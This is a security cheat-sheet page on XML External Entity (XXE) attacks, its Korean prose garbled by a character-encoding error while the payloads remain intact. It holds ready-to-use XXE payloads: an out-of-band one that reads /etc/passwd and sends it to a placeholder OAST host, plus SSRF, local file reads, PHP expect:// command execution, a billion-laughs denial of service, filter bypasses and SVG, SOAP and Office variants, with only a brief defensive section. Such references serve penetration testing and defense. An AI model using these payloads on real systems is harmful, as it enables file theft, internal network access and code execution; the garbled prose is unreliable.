XXE (XML External Entity)

XXE (XML External Entity)

in

πŸ” Introduction

XXE(XML External Entity)λŠ” XML을 Parsingν•˜μ—¬ μ‚¬μš©ν•˜λŠ” μ„œλΉ„μŠ€μ— μ•…μ˜μ μΈ XML ꡬ문을 Parsingν•˜λ„λ‘ μœ λ„ν•˜μ—¬ κ³΅κ²©μžκ°€ μ˜λ„ν•œ λ™μž‘μ„ μˆ˜ν–‰ν•˜λ„λ‘ ν•˜λŠ” κ³΅κ²©μž…λ‹ˆλ‹€. 기본적으둜 XML Parserκ°€ μœ„μΉ˜ν•œ κ³³μ—μ„œ λΆ€ν„° 영ν–₯λ ₯이 λ°œμƒν•˜κΈ° λ•Œλ¬Έμ— κ°€λ³κ²ŒλŠ” SSRF 같이 내뢀망 μ ‘κ·ΌλΆ€ν„°, RCEκΉŒμ§€ 큰 영ν–₯λ ₯을 κ°€μ§ˆ 수 μžˆμŠ΅λ‹ˆλ‹€.

πŸ—‘ Offensive techniques

Detect

μ‹¬ν”Œν•˜κ² XML Parseκ°€ λ™μž‘ν•˜λŠ” ꡬ간을 μ°Ύμ•„μ•Όν•©λ‹ˆλ‹€. μ†ŒμŠ€μ½”λ“œλ₯Ό λ³Ό 수 μžˆλŠ” 상황이라면 μ½”λ“œμ—μ„œ κ²€μƒ‰ν•˜λŠ” 것이 κ°€μž₯ λΉ λ₯΄κ³  효율적이며, μ†ŒμŠ€μ½”λ“œ 없이 μˆœμˆ˜ν•˜κ²Œ λ™μž‘λ§ŒμœΌλ‘œλ§Œ λ΄μ•Όν•œλ‹€λ©΄ .xml νŒŒμΌμ„ μΈμžκ°’μœΌλ‘œ λ°›κ±°λ‚˜, μ—λŸ¬μ—μ„œ XML Parsing κ΄€λ ¨ μ—λŸ¬λ₯Ό λ±‰λŠ” ꡬ간을 μœ„μ£Όλ‘œ μ κ²€ν•΄μ•Όν•©λ‹ˆλ‹€.

μ•„λž˜μ™€ 같이 λˆˆμ— λ„κ²Œ xml ν˜•νƒœλ₯Ό μ²˜λ¦¬ν•  κ²ƒμœΌλ‘œ λ³΄μ΄λŠ” ꡬ간이 XXEκ°€ μ‘΄μž¬ν•  κ°€λŠ₯성이 높은 λΆ€λΆ„μž…λ‹ˆλ‹€.

GET /readRss?url=https://rss_service/feeds.xml

이 λ•Œ μš°λ¦¬λŠ” XXE ꡬ문이 ν¬ν•¨λœ νŒŒμΌμ„ μ„œλΉ„μŠ€μ˜ XML Parserκ°€ 읽고 λΆ„μ„ν•˜λ„λ‘ ν•˜μ—¬ XXEλ₯Ό μœ λ„ ν•  수 μžˆμŠ΅λ‹ˆλ‹€. λ§Œμ•½ μœ„ readRss λž€ νŽ˜μ΄μ§€κ°€ XML을 읽어 μ‚¬μš©μžμ—κ²Œ λ³΄μ—¬μ£ΌλŠ” κΈ°λŠ₯을 κ°€μ‘Œλ‹€λ©΄, μ•„λž˜μ™€ 곡격 ꡬ문으둜 XXE μ—¬λΆ€λ₯Ό 체크할 수 μžˆμŠ΅λ‹ˆλ‹€.

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "https://your_oast_domain" >]>
<foo>&xxe;</foo>

μœ„ ꡬ문이 Parsing되면 μ„œλΉ„μŠ€λŠ” XML ꡬ문에 λ”°λΌμ„œ μ›Ή μš”μ²­μ„ λ°œμƒμ‹œν‚€κΈ° μœ„ν•΄ oast_domain으둜 μ ‘κ·Όν•˜κ²Œ λ©λ‹ˆλ‹€. μš°λ¦¬λŠ” μ΄λ•Œ λ°œμƒν•˜λŠ” HTTP Request와 DNS Qeuryλ₯Ό 가지고 μ‹λ³„ν•˜λ©΄ λ©λ‹ˆλ‹€. μ΄λ ‡κ²Œ OAST, OOB 기반으둜 μ‹λ³„ν•˜λŠ” 방법이 κ°€μž₯ μ—¬λŸ¬ μΌ€μ΄μŠ€μ—μ„œ 확인할 수 μžˆλŠ” 쒋은 λ°©λ²•μž…λ‹ˆλ‹€. (Blind XXE도 μΈ‘μ •ν•  수 있죠)

λŒ€ν‘œμ μΈ OAST μ„œλΉ„μŠ€ & λ„κ΅¬λŠ” μ•„λž˜μ™€ κ°™μŠ΅λ‹ˆλ‹€.

  • Burpsuite: burpcollaborator.net
  • ZAP: odiss.eu (OAST)
  • Interactsh

λ‹€λ§Œ public oast μ„œλΉ„μŠ€λŠ” 2021λ…„ log4j μ‚¬νƒœ μ΄ν›„λ‘œ λ§Žμ€ μ„œλΉ„μŠ€λ“€μ—μ„œ 차단을 ν•˜κ³  μžˆμ–΄μ„œ 직접 privateν•œ oast μ„œλΉ„μŠ€λ₯Ό κ΅¬μ„±ν•˜μ—¬ ν…ŒμŠ€νŠΈν•˜μ‹œλŠ” 것을 μΆ”μ²œν•©λ‹ˆλ‹€.

λ§Œμ•½ XML Parsing의 κ²°κ³Όκ°€ λ¦¬ν„΄λœλ‹€λ©΄ λ‹¨μˆœν•˜κ²Œ DTD μ‚¬μš©μ„ μ²΄ν¬ν•˜λŠ” 것도 μ’‹μŠ΅λ‹ˆλ‹€.

<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example "Doe"> ]>
 <userInfo>
  <firstName>John</firstName>
  <lastName>&example;</lastName>
 </userInfo>

Exploitation

Leak data with OOB

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "file:///etc/passwd" >
<!ENTITY callhome SYSTEM "https://your_oast_service/?%xxe;">
]
>
<foo>&callhome;</foo>

SSRF

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "http://internal.service/secret_pass.txt" >]>
<foo>&xxe;</foo>

LFI

Linux

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo>

Windows

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [  
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]>
<foo>&xxe;</foo>

RCE (PHP)

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo
  [<!ELEMENT foo ANY >
   <!ENTITY xxe SYSTEM "expect://id" >]>
<creds>
  <user>`&xxe;`</user>
  <pass>`mypass`</pass>
</creds>

DOS

<!DOCTYPE data [
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
]>
<data>&a4;</data>

Bypass protection

Using Base64

<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>

Using UTF-16

cat utf8exploit.xml | iconv -f UTF-8 -t UTF-16BE > utf16exploit.xml

XXE in X

in Java

https://semgrep.dev/blog/2022/xml-security-in-java

in SVG

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
    <image xlink:href="expect://ls" width="200" height="200"></image>
</svg>
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
   <text font-size="16" x="0" y="16">&xxe;</text>
</svg>

xxe.svg

<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg [
<!ELEMENT svg ANY >
<!ENTITY % sp SYSTEM "http://example.org:8080/xxe.xml">
%sp;
%param1;
]>
<svg viewBox="0 0 200 200" version="1.2" xmlns="http://www.w3.org/2000/svg" style="fill:red">
      <text x="15" y="100" style="fill:black">XXE via SVG rasterization</text>
      <rect x="0" y="0" rx="10" ry="10" width="200" height="200" style="fill:pink;opacity:0.7"/>
      <flowRoot font-size="15">
         <flowRegion>
           <rect x="0" y="0" width="200" height="200" style="fill:red;opacity:0.3"/>
         </flowRegion>
         <flowDiv>
            <flowPara>&exfil;</flowPara>
         </flowDiv>
      </flowRoot>
</svg>

in SOAP

<soap:Body>
  <foo>
    <![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]>
  </foo>
</soap:Body>

in OXML (Office)

/_rels/.rels
[Content_Types].xml
Default Main Document Part
  /word/document.xml
  /ppt/presentation.xml
  /xl/workbook.xml

in XLSX

OXMLκ³Ό λ™μΌν•©λ‹ˆλ‹€.

πŸ›‘ Defensive techniques

XML Parsing μ‹œ DTDλ₯Ό ν—ˆμš©ν•˜μ§€ μ•Šλ„λ‘ μ œν•œν•˜λŠ” ν˜•νƒœλ‘œ λŒ€μ‘ν•  수 μžˆμŠ΅λ‹ˆλ‹€. 각 μ–Έμ–΄, Framework λ“± DTDλ₯Ό μ œν•œν•˜λŠ” 방법은 λ‹€λ₯΄λ‹ˆ μ•„λž˜ λ¬Έμ„œλ₯Ό μ°Έκ³ ν•΄μ£Όμ„Έμš”.

λ˜ν•œ XML Parsing 단계가 ꡳ이 외뢀에 λ…ΈμΆœλ  ν•„μš”κ°€ μ—†λ‹€λ©΄ μ™„μ „ν•˜κ²Œ λ‚΄λΆ€μ—μ„œλ§Œ μ²˜λ¦¬ν•˜λ„λ‘ λ³€κ²½ν•˜λŠ” 것도 쒋은 방법 쀑 ν•˜λ‚˜μž…λ‹ˆλ‹€.

πŸ•Ή Tools

  • https://github.com/enjoiz/XXEinjector
  • https://github.com/lc/230-OOB
  • https://github.com/staaldraad/xxeserv
  • https://github.com/BuffaloWill/oxml_xxe
  • https://github.com/whitel1st/docem

πŸ“š Articles

πŸ“Œ References